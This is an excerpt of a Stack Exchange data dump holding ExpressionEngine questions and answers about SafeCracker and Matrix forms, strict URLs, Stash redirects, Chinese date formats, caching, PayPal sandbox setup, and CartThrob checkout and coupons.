  <row Id="213" PostTypeId="2" ParentId="210" CreationDate="2012-11-22T08:47:57.023" Score="6" Body="&lt;p&gt;So I haven't been able to test this, but you &lt;em&gt;should&lt;/em&gt; be able to just manually build your form like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel='mychannel' return='success' include_jquery='no' datepicker='no'}&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;mychannel-entry[row_order][]&quot; value=&quot;row_new_0&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;mychannel-entry[row_new_0][col_id_1]&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;mychannel-entry[row_new_0][col_id_2]&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;mychannel-entry[row_new_0][col_id_]&quot; /&amp;gt;&#xA;{exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I've assumed above that your full column name in your matrix settings is &lt;code&gt;mychannel-fieldn&lt;/code&gt;. Is that correct?&lt;/strike&gt; Edit, the previous, struck through line was incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;col_id_n&lt;/code&gt; is the column_id of the column in your matrix field - nb this is not the same as the column name - use firebug/dev tools to figure this out as suggested in the blog post linked in the other answer to this qn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB. Taken from a &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/matrix_and_safecracker%5C&quot; rel=&quot;nofollow&quot;&gt;similar question in P&amp;amp;T's support forum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-22T10:24:03.933" LastActivityDate="2012-11-22T10:24:03.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="214" PostTypeId="2" ParentId="210" CreationDate="2012-11-22T08:50:26.430" Score="6" Body="&lt;p&gt;I've done this before - I spoke with Marcus Neto about it and sent him the code for it which he blogged about &lt;a href=&quot;http://marcusneto.com/blog/article/breaking_up_a_matrix_field_for_use_in_a_safecracker_form&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should give you enough information to do what you need I think.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-11-22T08:50:26.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="215" PostTypeId="2" ParentId="211" CreationDate="2012-11-22T09:00:45.943" Score="5" Body="&lt;p&gt;My understanding of strict urls is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say you have a news template/channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you go to site.com/news/ this (assuming you've coded it so) will show you a list of all news items on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You now have a site.com/news/view/url_title_here which is a single list page based on the last segment being the URL_TITLE of the news item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding with strict URL's is that if you were to go to site.com/news/view/ without strict url's being enabled, it would simply show the 'latest' news item - however with it enabled, it will error/404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least thats always been my understanding.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-11-22T09:00:45.943" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="216" PostTypeId="1" AcceptedAnswerId="220" CreationDate="2012-11-22T10:01:55.700" Score="2" ViewCount="73" Body="&lt;p&gt;I generally make use of the &lt;code&gt;{path='xyz'}&lt;/code&gt; tag within my channel entries, for all the usual reasons. However, I've realised that whilst it resolves the URL correctly in one channel (ie. &lt;code&gt;www.mydomain.com/xyz&lt;/code&gt;) it seems to fail to do so in another (ie. the tag is rendered in the template raw, with the braces converted to HTML entities). I can't see any difference between the two channels’ preferences. Can anyone shed any light on this?&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="150" LastEditDate="2012-11-22T10:08:34.117" LastActivityDate="2012-11-22T10:29:23.350" Title="{path=} tag resolving correctly in one channel but not in another" Tags="|ee2|channel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="217" PostTypeId="1" AcceptedAnswerId="218" CreationDate="2012-11-22T10:08:18.490" Score="7" ViewCount="281" Body="&lt;p&gt;I'm building an XML-feed for publishing my client's products to a third party, and I need to output a list of modifier-options sans the form-tag. I would imagine this to work something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_store_variations:modifier_options backspace='1'}&#xA;    {option_name}&#xA;{/product_store_variations:modifier_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't output anything though. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="16" LastEditDate="2012-11-29T22:10:49.220" LastActivityDate="2013-10-29T03:15:03.367" Title="Outputting Exp-resso Store modifier-options without form-tag" Tags="|expresso-store|expresso|modifiers|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="218" PostTypeId="2" ParentId="217" CreationDate="2012-11-22T10:13:45.110" Score="6" Body="&lt;p&gt;You can access most of the basic variables directly through the &quot;Product Details&quot; fieldtype. For example, assuming you named your field &lt;code&gt;product_details&lt;/code&gt;, you can access the price inside your channel entries tag like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_details:price}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, you can't access the modifiers that way (there is no way for the fieldtype to return variable loops).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the standard Product tag without a form, simply add the &lt;code&gt;disable_form&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;123&quot; disable_form=&quot;yes&quot;}&#xA;    {modifiers}&#xA;        &amp;lt;!-- code here --&amp;gt;&#xA;    {/modifiers}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#disable_form&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/product_tag.html#disable_form&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="22" LastEditDate="2013-10-29T03:15:03.367" LastActivityDate="2013-10-29T03:15:03.367" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="219" PostTypeId="2" ParentId="211" CreationDate="2012-11-22T10:15:12.477" Score="19" Body="&lt;p&gt;My URL schematic points out the difference it makes to the regular flow - might be helpful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the diagram, it prevents EE from determining a template via &lt;del&gt;methods #2 and #4&lt;/del&gt; method #2 as numbered there (and as alluded to in the other answers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me the benefit of more reliable 404's doesn't outweigh the advantage of being able to determine a template in &lt;del&gt;these ways&lt;/del&gt; this way, so I never enable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[answer corrected May 2013 - You CAN have Strict URLs turned on and still use method #4.]&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-05-12T12:00:44.413" LastActivityDate="2013-05-12T12:00:44.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="220" PostTypeId="2" ParentId="216" CreationDate="2012-11-22T10:29:23.350" Score="7" Body="&lt;p&gt;This is a bug introduced in 2.5.3 - There's a hotfix here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.com/bug_tracker/bug/18239/&quot;&gt;http://expressionengine.com/bug_tracker/bug/18239/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-11-22T10:29:23.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="221" PostTypeId="2" ParentId="209" CreationDate="2012-11-22T10:40:41.483" Score="0" Body="&lt;p&gt;Put the redirect in the original channel:entries tag so you can use &lt;code&gt;no_results&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;equipment&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;        {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;        {stash:title}{title}{/stash:title} // Get title&#xA;        ...&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I should have tested first. Try adding parse=&quot;inward&quot; to the original stash:set tag - that works for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_conditionals=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;    {exp:channel:entries channel=&quot;equipment&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;        {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;        {stash:title}{title}{/stash:title} // Get title&#xA;        ...&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The alternative would be to put the stash:set on the inside of the channel:entries tag, with the no_results conditional outside the stash:set block... That works too, however it would prevent you from easily doing the next part where you're calling up those stashed variables and skewering them back together in a different order since the vars will not be set at that point... parse=&quot;inward&quot; gets around that I think.   &lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2012-11-22T12:07:24.713" LastActivityDate="2012-11-22T12:07:24.713" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="222" PostTypeId="2" ParentId="209" CreationDate="2012-11-22T11:37:06.807" Score="0" Body="&lt;p&gt;Okay so I must confess to not having tested this, but can you not stash the &quot;result&quot; of the no results tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;equipment&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;        {if no_results}&#xA;          {stash:no_results}true{/stash:no_results}&#xA;        {/if}&#xA;        {stash:title}{title}{/stash:title} // Get title&#xA;        ...&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then parse that to create a redirect (note needs parse_tag=&quot;no&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;redirect&quot; parse_tags=&quot;no&quot;  trim=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {if {exp:stash:not_empty name=&quot;no_results&quot;}}&#xA;      {redirect=&quot;redirect/path&quot;}&#xA;    {/if}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then push &lt;em&gt;that&lt;/em&gt; into your embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;contentregion&quot; parse_tags etc}&#xA;  {stash:redirect}&#xA;  &amp;lt;div class=&quot;abc&quot;&amp;gt;&#xA;  {stash:my_var}&#xA;  &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;  {stash:tabs}&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;abcde&quot;&amp;gt;&#xA;  {stash:anothervar}&#xA;  {stash:morevars}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A bit long-winded I know, but might meet your use case?&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-22T11:37:06.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="223" PostTypeId="1" AcceptedAnswerId="224" CreationDate="2012-11-22T11:41:50.403" Score="10" ViewCount="1270" Body="&lt;p&gt;I currently have the task of building an EE site in Chinese. All is going well so far, but I have a problem trying to get the date shown in chinese. Anyone have a solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just using the following standard date code at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{current_time format=&quot;%l %j%S %F, %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="308" LastEditorUserId="77" LastEditDate="2012-11-27T20:19:04.633" LastActivityDate="2012-11-27T20:19:04.633" Title="How do I format the date in a foreign language?" Tags="|date|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="224" PostTypeId="2" ParentId="223" CreationDate="2012-11-22T11:49:22.060" Score="10" Body="&lt;p&gt;Firstly - you need to check that your server has Chinese Encoding installed - if it does, then what you need is the plugin that I wrote many years ago:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.madebyhippo.com/addons&quot;&gt;Date/Time Language Converter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use this plugin to wrap your date/time value and specify the language and it'll format it in the appropriate language.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-11-22T11:49:22.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="225" PostTypeId="2" ParentId="223" CreationDate="2012-11-22T12:06:32.147" Score="1" Body="&lt;p&gt;What format do you need to output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm not a Chinese speaker, so will very happily defer to anyone who knows more than me, but as I understand it the convention is to format the date &quot;Year Month Day&quot;, with each value followed by the relevant character 年 (nián) for year, 月 (yuè) for month, and 日 (rì) for day. Assuming that you are using a utf-8 charset can you not just do: &lt;code&gt;{current_time  format=&quot;%y年 %m月 %d日&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to output the day of the the week or a more complex format though it looks like you might be best off with @madebyhippo's plugin, which looks super flexible.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-22T12:06:32.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="226" PostTypeId="2" ParentId="209" CreationDate="2012-11-22T12:56:35.233" Score="12" Body="&lt;p&gt;You should be able to implement redirects once you add the Stash &lt;code&gt;no_results_prefix&lt;/code&gt; parameter. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Collect all values for all custom fields&#xA;{exp:stash:set parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_conditionals=&quot;yes&quot; no_results_prefix=&quot;equipment&quot;}&#xA;{exp:channel:entries channel=&quot;equipment&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;    {if equipment:no_results}{redirect=&quot;404&quot;}{/if}&#xA;&#xA;    {stash:title}{title}{/stash:title} // Get title&#xA;    {stash:matrix}{matrix}&amp;lt;li&amp;gt;{value}&amp;lt;/li&amp;gt;{/matrix}{/stash:title} Get Matrix Pair&#xA;    //repeat for all custom fields in the entry - a lot of them&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-22T12:56:35.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="227" PostTypeId="1" AcceptedAnswerId="262" CreationDate="2012-11-22T13:03:28.753" Score="13" ViewCount="259" Body="&lt;p&gt;A common area of confusion for developers new to EE is caching. EE provides a number of caching options that operate at different levels and can interact with each other, sometimes in unexpected ways. This tends to mean that performance &lt;strong&gt;does not always automatically improve when using caching unless it is applied intelligently&lt;/strong&gt;. Understanding EE's caching behaviour is thus an important part of learning to use EE &quot;properly&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;strong&gt;can you explain the different types of caching that ExpressionEngine provides, specifically their pro's and cons&lt;/strong&gt;, and &lt;strong&gt;why you shouldn't &lt;em&gt;automatically&lt;/em&gt; turn on caching here there and everywhere&lt;/strong&gt;, just because it sounds like a &quot;good thing&quot;. &lt;em&gt;(I mean, everyone wants a faster website, right?)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is a complex topic, so do link to external resources, but it would be great to provide a general overview directly in the answers here as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NB, While I appreciate that on some high traffic sites, paying extensive attention to caching/performance or even implementing Varnish or similar can make a lot of sense, for this answer I'm primarily interested in what makes sense as a baseline/starting point for a &quot;normal&quot; small/mid-sized ExpressionEngine site, and in using the native caching options that EE provides out of the box.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="15" LastEditDate="2012-11-22T14:33:12.830" LastActivityDate="2012-11-22T19:16:18.803" Title="Explaining (native) caching to mortals/new EE developers" Tags="|database|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="228" PostTypeId="1" AcceptedAnswerId="232" CreationDate="2012-11-22T13:15:55.473" Score="6" ViewCount="353" Body="&lt;p&gt;When using the &lt;strong&gt;paypal sandbox&lt;/strong&gt; with store, what do I put in the store settings fields for the paypal gateway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have obtained my paypal credentials for running live, but to test with the sandbox, do I have to have another set of credentials for my paypal developer account?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="104" LastEditDate="2012-11-24T21:31:31.623" LastActivityDate="2015-08-15T11:41:03.140" Title="Testing PayPal Express with Store" Tags="|expresso-store|settings|paypal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="229" PostTypeId="2" ParentId="211" CreationDate="2012-11-22T13:32:22.063" Score="9" Body="&lt;p&gt;With &lt;a href=&quot;http://expressionengine.com/user_guide/cp/design/templates/global_template_preferences.html#strict-urls&quot;&gt;Strict URLs&lt;/a&gt; off, if your first segment doesn't correspond to an existing template group, EE will then look for a template with the same name in your &lt;em&gt;default&lt;/em&gt; template group, and render that template if found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling Strict URLs prevents the behaviour - if &lt;code&gt;{segment_1}&lt;/code&gt; is not a template group (and your URL is not a Pages URL), you'll get a 404.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-22T13:32:22.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="230" PostTypeId="1" AcceptedAnswerId="235" CreationDate="2012-11-22T14:00:30.167" Score="4" ViewCount="461" Body="&lt;p&gt;I have a date-field where I get some raw data from another system (I have no control over the export of the other system) … the date is published in the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2010-10-26T07:11:18Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to easily convert this format into a unix-timestamp/ee-compatible format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;code&gt;{exp:query sql=&quot;SELECT UNIX_TIMESTAMP('col_id_22') AS unixtime FROM exp_matrix_data WHERE entry_id = {entry_id}&quot;}{unixtime}{/exp:query}&lt;/code&gt; but this does not work (I guess because of the &lt;code&gt;T&lt;/code&gt; and &lt;code&gt;Z&lt;/code&gt; in the raw data?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2012-11-22T15:18:34.877" Title="Reformat external Date-Format to unix-timestamp / ee-compatible format" Tags="|php|mysql|time|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="231" PostTypeId="1" AcceptedAnswerId="298" CreationDate="2012-11-22T14:15:39.530" Score="5" ViewCount="409" Body="&lt;p&gt;Recently, a client requested that their existing Cartthrob site now allow guest checkouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it’s using a multi-page checkout.&#xA;One page uses &lt;code&gt;{exp:cartthrob:save_customer_info_form}&lt;/code&gt; and the next uses &lt;code&gt;{exp:cartthrob:checkout_form}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem lies on the first page.&#xA;Previously I populated the form with the user’s details if they had it saved in their account, using Solspace User’s &lt;code&gt;{exp:user:stats}&lt;/code&gt; tag.&#xA;But now I need to support guest checkouts. The problem is that the &lt;code&gt;{exp:user:stats}&lt;/code&gt; tag will hide its contents if the user is logged out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I basically repeat the code, but wrapped in the &lt;code&gt;{exp:user:stats}&lt;/code&gt; tag if they are logged in. (This feels like the wrong way to do this, so if you have an alternative I’d love to hear it.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;&#xA; {exp:user:stats}&#xA;&#xA;  {exp:cartthrob:save_customer_info_form required=&quot;...&quot; return=&quot;cart/payment&quot;}   &#xA;&#xA;   {var_checkout_fields}     &#xA;   &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;Next Step&quot; /&amp;gt;&#xA;&#xA;  {/exp:cartthrob:save_customer_info_form}&#xA;&#xA; {/exp:user:stats}&#xA;&#xA;{if:else}&#xA;&#xA; {exp:cartthrob:save_customer_info_form required=&quot;...&quot; return=&quot;cart/payment&quot;}   &#xA;&#xA;  {var_checkout_fields}     &#xA;  &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;Next Step&quot; /&amp;gt;&#xA;&#xA; {/exp:cartthrob:save_customer_info_form}&#xA;&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Originally, the code was just what was inside the first conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form is displayed correctly for members and guests, but only members are able to proceed to the next page.&#xA;When a guest hits submit, the page is just reloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Cartthrob setting “User must be logged in” is set to “no”, and I have set the appropriate member id for guest checkouts.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2012-11-23T11:36:38.070" Title="Cartthrob: Save Customer Info Form problem, for guests" Tags="|conditionals|checkout|cartthrob|solspace-user|guest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="232" PostTypeId="2" ParentId="228" CreationDate="2012-11-22T14:33:50.140" Score="8" Body="&lt;p&gt;I haven't used Store but have used Cartthrob, Membrr (as well as many other ecommerce engines) and wanted to add my thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have two sets of credentials - your live PayPal account details and your developer account details (sandbox). As far as I know these are completely separate - certainly in my experience I've just used two separate accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to set up a buyer account in the sandbox that you'll use when you've proceeded to the PayPal payment page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test the cart while developing, obtain the API details from your sandbox account and add these to the PayPal gateway in the CP. Once you test the checkout process (I'm assuming this is for PayPal Standard/Express) you'll need to enter the sandbox buyer account details (see above) to test a payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, haven't had experience of Store but this seems like a more general PayPal API question.&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2012-11-22T14:33:50.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="233" PostTypeId="1" AcceptedAnswerId="234" CreationDate="2012-11-22T15:08:13.437" Score="3" ViewCount="351" Body="&lt;p&gt;Our store is running coupon promotion where the coupon is good until the end of the year. Let’s say the code is ENDOFYEAR (-25%). We’re also running a one day promo next week Monday with code SUPERMONDAY (-40%). What will happen if a user submits both codes? We want to ensure that only the code with the greatest discount is applied and that codes are not added together resulting in a 65% discount.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2016-04-20T12:23:19.263" Title="Are coupon codes in CartThrob additive or last one in gets used?" Tags="|cartthrob|coupon-code|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="234" PostTypeId="2" ParentId="233" CreationDate="2012-11-22T15:17:58.403" Score="3" Body="&lt;p&gt;In Cartthrob you can only apply one coupon code to your cart at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to provide a way for your user to remove the code and apply a different one instead.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2012-11-22T15:17:58.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="235" PostTypeId="2" ParentId="230" CreationDate="2012-11-22T15:18:34.877" Score="4" Body="&lt;p&gt;If displaying, one option could be to use the Nice Date plugin by low &lt;a href=&quot;http://gotolow.com/addons/low-nice-date/docs&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-nice-date/docs&lt;/a&gt; which will displays date given a formatting.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-11-22T15:18:34.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="236" PostTypeId="1" CreationDate="2012-11-22T15:24:48.643" Score="7" ViewCount="1720" Body="&lt;p&gt;I'm looking to build upon a existing Structure built site and integrate another language. It doesn't necessarily need to be built upon using Structure, but as it's already using it and it works ok, then that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably i'd have one entry screen with an override if the existing language was entered show that body field, if not show default body. My preference for this data entry design is for client UX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the best way these days?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="272" LastEditorUserId="268" LastEditDate="2012-11-28T15:07:00.360" LastActivityDate="2012-11-28T15:55:15.940" Title="Multi Language site with Structure" Tags="|add-on|custom-fields|structure|multi-language|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="237" PostTypeId="2" ParentId="227" CreationDate="2012-11-22T15:27:08.923" Score="12" Body="&lt;p&gt;Native caching in EE basically comes down to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tag Caching &lt;/li&gt;&#xA;&lt;li&gt;Query Caching&lt;/li&gt;&#xA;&lt;li&gt;Template Caching&lt;/li&gt;&#xA;&lt;li&gt;“Morsel” Caching&lt;/li&gt;&#xA;&lt;li&gt;Static Page Caching&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All 5 types are explained in detail in this article on EEinsider:&#xA;&lt;a href=&quot;http://eeinsider.com/articles/using-cache-wisely-with-expressionengine/&quot;&gt;http://eeinsider.com/articles/using-cache-wisely-with-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third party solutions include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CE Cache&#xA;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache/user-guide&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-cache/user-guide&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Solspace static page caching&#xA;&lt;a href=&quot;http://www.solspace.com/software/detail/static_page_caching/&quot;&gt;http://www.solspace.com/software/detail/static_page_caching/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Solspace template morsels&#xA;&lt;a href=&quot;http://www.solspace.com/software/detail/template_morsels/&quot;&gt;http://www.solspace.com/software/detail/template_morsels/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Stash has some interesting caching functionality &lt;a href=&quot;https://github.com/croxton/Stash&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-11-22T15:27:08.923" CommentCount="0" CommunityOwnedDate="2012-11-22T15:27:08.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="238" PostTypeId="1" CreationDate="2012-11-22T15:27:10.420" Score="2" ViewCount="195" Body="&lt;p&gt;I am developing an EE site using the very useful Structure add-on for the first time. I want to make adding and editing content as easy as possible for my client. Currently I have a product section on the site where the client can easily add products by adding pages in Structure and it is very clear what they need to do. However, there is another section of the site which I can't currently see working with the same model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to develop/add data to part of a site without using Structure? If it is, would it be wise to do this when the client has a clear understanding of how to add/edit data to the section using Structure? Would this become too confusing for the client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="285" LastEditorUserId="268" LastEditDate="2012-11-28T15:06:55.040" LastActivityDate="2012-11-28T15:06:55.040" Title="Would it be confusing, and is it possible, to use Structure on only part of a site?" Tags="|ee2|add-on|structure|" AnswerCount="5" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
